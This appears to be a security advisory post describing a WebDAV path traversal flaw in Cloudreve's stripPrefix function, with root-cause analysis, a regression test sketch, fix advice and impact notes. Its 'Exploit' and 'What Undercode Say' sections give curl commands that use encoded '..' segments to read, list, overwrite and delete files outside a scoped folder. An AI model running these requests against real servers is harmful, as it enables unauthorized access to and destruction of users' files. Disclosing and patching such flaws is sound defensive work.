Listen to this Post
Cloudreve’s WebDAV feature allows creating scoped accounts tied to a specific folder via a `uri` (e.g., cloudreve://my/restricted). The vulnerability arises in the `stripPrefix` function (pkg/webdav/webdav.go), which trims the `/dav` prefix from an incoming request path, then joins the remaining suffix to the account’s base URI using `fs.URI.JoinRaw` without any containment verification. Go’s `net/http` automatically URL‑decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler receives the request. Inside JoinRaw, the code splits the suffix on `/` and delegates to the standard library’s url.URL.JoinPath, which resolves `..` segments – cleans the path – and effectively walks up the directory tree. The `PathEscape` function leaves the literal dot `.` untouched (because `shouldEscape` returns `false` for it), so the `..` segment survives and is processed by JoinPath. As a result, a request like `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` resolves to cloudreve://my/outside.txt, escaping the intended folder. This works for both read‑only and writable credentials, allowing listing, reading, and if writable – creating, overwriting, moving, and deleting files outside the scoped folder. The traversal does not cross the owner’s namespace because downstream DBFS owner checks still apply, so it stays within the same user’s files but completely breaks the per‑folder WebDAV boundary – the very purpose of scoped accounts. The proof of concept was validated by testing the two critical layers: the standard library’s decoding/cleaning and Cloudreve’s URI resolution logic, with live `curl` commands confirming the escape on deployed instances. The fix is straightforward – use the existing `EqualOrIsDescendantOf` predicate to reject any candidate URI that does not remain under the base root.
DailyCVE Form:
Platform: Cloudreve
Version: < 3.8.1
Vulnerability: Path Traversal
Severity: High
date: 2025-04-10
Prediction: Already Patched (3.8.1)
What Undercode Say:
Read outside DAV root (read‑only) curl --path-as-is -i -u '[email protected]:DAV_PASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/outside.txt' List outside DAV root curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \ -u '[email protected]:DAV_PASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/' Write outside DAV root (writable) printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \ -u '[email protected]:DAV_PASSWORD' --data-binary @- \ 'https://cloudreve.example/dav/%2e%2e/created-outside.txt' Double‑encoded control (stays inside) curl --path-as-is -i -u '...' \ 'https://cloudreve.example/dav/%252e%252e/outside.txt' Deep traversal (clamps at owner root) curl --path-as-is -i -u '...' \ 'https://cloudreve.example/dav/../../etc.txt'
// PathEscape leaves '.' untouched – the core issue
func PathEscape(s string) string {
// shouldEscape returns false for '.'
}
// Minimal regression test (illustrative)
func TestWebDAVPathTraversal(t testing.T) {
base := mustParse("cloudreve://my/restricted")
tests := []struct{ path, expect string }{
{"/dav/%2e%2e/outside.txt", "cloudreve://my/outside.txt"},
{"/dav/%2F..%2Foutside.txt", "cloudreve://my/outside.txt"},
{"/dav/sub/normal.txt", "cloudreve://my/restricted/sub/normal.txt"},
}
for _, tt := range tests {
// simulate handler path and join
}
}
Exploit:
Read any file outside the configured folder curl --path-as-is -u 'scoped:pass' 'https://host/dav/%2e%2e/secret.txt' List parent directory contents curl --path-as-is -X PROPFIND -H 'Depth: 1' -u 'scoped:pass' \ 'https://host/dav/%2e%2e/' Overwrite a file outside scope (writable credential) curl --path-as-is -X PUT -u 'scoped:pass' --data-binary 'pwned' \ 'https://host/dav/%2e%2e/config.json' Delete a file outside scope (writable credential) curl --path-as-is -X DELETE -u 'scoped:pass' \ 'https://host/dav/%2e%2e/unwanted.txt'
Protection:
- Apply the official fix: in
stripPrefix, replace the direct `return r, base.JoinRaw(…)` with a candidate check usingEqualOrIsDescendantOf. - If patching is not immediate, avoid creating scoped WebDAV credentials for sensitive folders, or restrict WebDAV endpoints to trusted IP ranges.
- Upgrade to Cloudreve 3.8.1 or later where the containment check is enforced.
Impact:
- Read‑only scoped credentials can list and read any file belonging to the same Cloudreve user, outside the intended folder.
- Writable scoped credentials gain full create, overwrite, move, and delete capabilities on any file in the user’s namespace.
- The security boundary for delegated third‑party access is completely nullified, violating the least‑privilege principle of scoped WebDAV accounts.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

